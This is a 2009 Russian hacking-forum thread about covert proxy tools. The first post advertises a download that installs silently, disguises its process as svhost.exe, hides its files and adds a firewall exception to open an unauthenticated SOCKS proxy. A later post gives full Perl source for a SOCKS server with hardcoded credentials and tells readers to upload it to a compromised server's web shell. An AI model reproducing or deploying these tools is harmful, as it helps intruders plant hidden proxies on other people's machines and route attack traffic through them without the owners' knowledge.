Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
23.08.2009, 02:56
|
|
Познающий
Регистрация: 06.08.2009
Сообщений: 56
Провел на форуме:
425261
Репутация:
29
|
|
Hidden-Install FreeProxy
Собственно понадобилась такая вот программа ... вот и сделал ... может еще кому пригодится ...
Возможности:
1) Устанавливается скрытно от юзера после двойного клика (можно запускать из консоли).
3) Прописывается в исключениях Windows Firewall
4) Процесс именован svhost.exe
5) Название службы изменено (меняется после перезагрузки компьютера)
6) Всем файлам присваиваются атрибуты скрытый и системный.
Настроен так:
1)Socks прокси
2)Авторизации нет
3)Порт 1717
Размер : 341кб.
СКАЧАТЬ |
|
|
23.08.2009, 10:49
|
|
Участник форума
Регистрация: 27.04.2009
Сообщений: 120
Провел на форуме:
496480
Репутация:
27
|
|
Респект.А сырцы есть?
|
|
|
|
23.08.2009, 13:09
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме:
4778940
Репутация:
1257
|
|
много весит. небось делфи? в любом случае хочется видеть сорцы.
я юзаю этот - https://forum.antichat.ru/showthread.php?t=21944
скомпилился в 5 кб. Прописывание в авторан и прочие свистелки можно дописать на ещё 5 кб.
|
|
|
|
23.08.2009, 14:07
|
|
Постоянный
Регистрация: 29.04.2008
Сообщений: 913
Провел на форуме:
10460911
Репутация:
1031
|
|
404 Not Found
перезалей
|
|
|
|
23.08.2009, 16:23
|
|
Banned
Регистрация: 21.03.2009
Сообщений: 302
Провел на форуме:
842165
Репутация:
272
|
|
Satanic Socks Server v0.8.031206-perl
Скрипт предназначен для создания прокси с функцией авторизации. Заливаем на шелл, юзаем команду:
perl [имя скрипта с расширением]
Прокся откроется на 3003 порту. Далше берем freecap и юзаем браузер через ету проксю в фрикапе.
ЗЫ если вы полный чехол:
1) Сохраните текст находящийся в тэгах РНР в файл s.pl
2) Узнать IP прокси можно из шелла, в котором вы будете выполнять команду.
3) Выполнение команд на шелле ето где пустая строка и написано: Выполнить команду
PHP код:
#!/usr/bin/perl
# Satanic Socks Server v0.8.031206-perl
# This script is private. Only for SaTaNiC team and friends. Not for sale.
# Coded by drmist/STNC, web: www.stnc.ru.
$auth_enabled = 1;
$auth_login = "grabberz";
$auth_pass = "grabberz";
$port = 3003;
use IO::Socket::INET;
$SIG{'CHLD'} = 'IGNORE';
$bind = IO::Socket::INET->new(Listen=>10, Reuse=>1, LocalPort=>$port) or die "Can't bind port $port\n";
while($client = $bind->accept()) {
$client->autoflush();
if(fork()){ $client->close(); }
else { $bind->close(); new_client($client); exit(); }
}
sub new_client {
local $t, $i, $buff, $ord, $success;
local $client = $_[0];
sysread($client, $buff, 1);
if(ord($buff) == 5) {
sysread($client, $buff, 1);
$t = ord($buff);
unless(sysread($client, $buff, $t) == $t) { return; }
$success = 0;
for($i = 0; $i < $t; $i++) {
$ord = ord(substr($buff, $i, 1));
if($ord == 0 && !$auth_enabled) {
syswrite($client, "\x05\x00", 2);
$success++;
break;
}
elsif($ord == 2 && $auth_enabled) {
unless(do_auth($client)){ return; }
$success++;
break;
}
}
if($success) {
$t = sysread($client, $buff, 3);
if(substr($buff, 0, 1) == '\x05') {
if(ord(substr($buff, 2, 1)) == 0) { # reserved
($host, $raw_host) = socks_get_host($client);
if(!$host) { return; }
($port, $raw_port) = socks_get_port($client);
if(!$port) { return; }
$ord = ord(substr($buff, 1, 1));
$buff = "\x05\x00\x00".$raw_host.$raw_port;
syswrite($client, $buff, length($buff));
socks_do($ord, $client, $host, $port);
}
}
} else { syswrite($client, "\x05\xFF", 2); };
}
$client->close();
}
sub do_auth {
local $buff, $login, $pass;
local $client = $_[0];
syswrite($client, "\x05\x02", 2);
sysread($client, $buff, 1);
if(ord($buff) == 1) {
sysread($client, $buff, 1);
sysread($client, $login, ord($buff));
sysread($client, $buff, 1);
sysread($client, $pass, ord($buff));
if($login eq $auth_login && $pass eq $auth_pass) {
syswrite($client, "\x05\x00", 2);
return 1;
} else { syswrite($client, "\x05\x01", 2); }
}
$client->close();
return 0;
}
sub socks_get_host {
local $client = $_[0];
local $t, $ord, $raw_host;
local $host = "";
sysread($client, $t, 1);
$ord = ord($t);
if($ord == 1) {
sysread($client, $raw_host, 4);
@host = $raw_host =~ /(.)/g;
$host = ord($host[0]).".".ord($host[1]).".".ord($host[2]).".".ord($host[3]);
} elsif($ord == 3) {
sysread($client, $raw_host, 1);
sysread($client, $host, ord($raw_host));
$raw_host .= $host;
} elsif($ord == 4) {
#ipv6 - not supported
}
return ($host, $t.$raw_host);
}
sub socks_get_port {
local $client = $_[0];
local $raw_port, $port;
sysread($client, $raw_port, 2);
$port = ord(substr($raw_port, 0, 1)) << 8 | ord(substr($raw_port, 1, 1));
return ($port, $raw_port);
}
sub socks_do {
local($t, $client, $host, $port) = @_;
if($t == 1) { socks_connect($client, $host, $port); }
elsif($t == 2) { socks_bind($client, $host, $port); }
elsif($t == 3) { socks_udp_associate($client, $host, $port); }
else { return 0; }
return 1;
}
# this part of code was taken from datapipe.pl utility,
# written by CuTTer (cutter[at]real.xakep.ru)
# utility lays on cpan.org
sub socks_connect {
my($client, $host, $port) = @_;
my $target = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM);
unless($target) { return; }
$target->autoflush();
while($client || $target) {
my $rin = "";
vec($rin, fileno($client), 1) = 1 if $client;
vec($rin, fileno($target), 1) = 1 if $target;
my($rout, $eout);
select($rout = $rin, undef, $eout = $rin, 120);
if (!$rout && !$eout) { return; }
my $cbuffer = "";
my $tbuffer = "";
if ($client && (vec($eout, fileno($client), 1) || vec($rout, fileno($client), 1))) {
my $result = sysread($client, $tbuffer, 1024);
if (!defined($result) || !$result) { return; }
}
if ($target && (vec($eout, fileno($target), 1) || vec($rout, fileno($target), 1))) {
my $result = sysread($target, $cbuffer, 1024);
if (!defined($result) || !$result) { return; }
}
if ($fh && $tbuffer) { print $fh $tbuffer; }
while (my $len = length($tbuffer)) {
my $res = syswrite($target, $tbuffer, $len);
if ($res > 0) { $tbuffer = substr($tbuffer, $res); } else { return; }
}
while (my $len = length($cbuffer)) {
my $res = syswrite($client, $cbuffer, $len);
if ($res > 0) { $cbuffer = substr($cbuffer, $res); } else { return; }
}
}
}
sub socks_bind {
my($client, $host, $port) = @_;
# not supported
}
sub socks_udp_associate {
my($client, $host, $port) = @_;
# not supported
}
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
